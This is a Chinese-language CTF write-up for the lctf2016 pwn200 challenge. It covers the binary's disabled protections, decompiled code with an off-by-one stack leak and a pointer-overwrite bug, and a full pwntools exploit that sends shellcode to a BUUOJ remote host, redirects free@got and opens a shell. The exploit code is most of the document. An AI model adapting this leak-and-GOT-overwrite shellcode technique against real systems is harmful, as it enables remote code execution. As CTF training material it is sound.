lctf2016_pwn200
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x3ff000)
RWX: Has RWX segments
64位,保护全关
第一个想法就是写shellcode
只贴重要的
__int64 sub_400A8E()
{
__int64 i; // [rsp+10h] [rbp-40h]
char v2[48]; // [rsp+20h] [rbp-30h] BYREF
puts("who are u?");
for ( i = 0LL; i <= 47; ++i ) #这里存在off by one 漏洞
{ #输入48个字节就会把该函数的rbp输出出来
read(0, &v2[i], 1uLL);
if ( v2[i] == 10 )
{
v2[i] = 0;
break;
}
}
printf("%s, welcome to ISCC~ \n", v2);
puts("give me your id ~~?");
READ();
return sub_400A29();
}
__int64 sub_400A29()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
char *dest; // [rsp+38h] [rbp-8h]
dest = (char *)malloc(0x40uLL);
puts("give me money~");
read(0, buf, 0x40uLL);
strcpy(dest, buf);
ptr = dest;
return sub_4009C4();
}
buf长度有0x38,我们可以输入0x40,并且dest是在0x8的位置,我们可以将其覆盖使其ptr指针可控
思路如下
把ptr
指针改成free@got
,此时指向buf
的栈空间,我们后面堆执行free(ptr)
----> 执行我们的shellcode
from pwn import*
from Yapack import *
libc=ELF('./libc-2.23.so')
context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",28864,"./pwn",10)
sh=asm(shellcraft.sh())
pl=asm(shellcraft.sh()).ljust(48, b'\x00') #泄露rbp
sa(b'who are u?',pl)
leak=get_addr_u64()
li(leak)
shelladr=p64(leak-0x50) #下图解析
#li(shelladr)
sla(b'id ~~?',b'0')
pl=shelladr + b'\x00'*(0x38-len(shelladr))+p64(elf.got['free']) #写入shellcode并且覆盖dest
sa(b'give me money~',pl)
sla(b'your choice : ',b'2')
#debug()
ia()
上面的0x50是
算出该偏移,即可得到我们shellcode的栈地址